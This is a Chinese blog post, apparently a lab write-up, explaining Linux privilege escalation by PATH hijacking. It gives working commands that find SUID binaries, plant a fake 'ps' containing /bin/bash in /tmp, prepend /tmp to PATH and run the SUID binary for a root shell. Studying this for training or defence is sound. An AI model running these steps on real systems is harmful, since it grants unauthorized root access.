Linux环境变量劫持提权

Linux环境变量劫持提权,第1张

Linux环境变量劫持提权 环境变量劫持提权:

本文通过查找SUID文件,劫持环境变量,从而使账号成功提权至root;本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

个人理解:

首先环境变量劫持提权的条件,就是系统中存在带有suid的文件,且这个 文件中必须有系统命令
这样我们就可以命名一个和这个系统命令相同的文件,写入/bin/bash, 再将存放这个文件的路径加入环境变量中;
当系统去执行这个带有系统命令的文件时,就会直接执行我们命名和这个系统命令相同的文件,而非真实的系统命令;
从而实现劫持环境变量提权。

查找SUID:
find / -perm -u=s -type f 2>/dev/null

查找系统中是否有suid的文件:

发现script目录下shell文件,通常这个文件中存放就是系统的ps命令:

demo.c 这个就是shell文件的源码,查看后里面执行的是系统ps命令,但如果我们无法查看源码
我们同样可以使用xxd命令来将里面的带有的命令提取出来。

xxd /script/shell | grep ps


然后我们退回tmp目录,创建一个文件名为ps的文件,并加入环境变量中,然后去/script 这个目录执行shell文件,
但此时,系统会直接执行我们自建带有/bin/bash的ps文件,而非系统真实的ps命令:
从而达到环境变量提权目的。

劫持环境变量:
cd /tmp 
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
ehco $PATH
cd /script/
./shell

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5694346.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存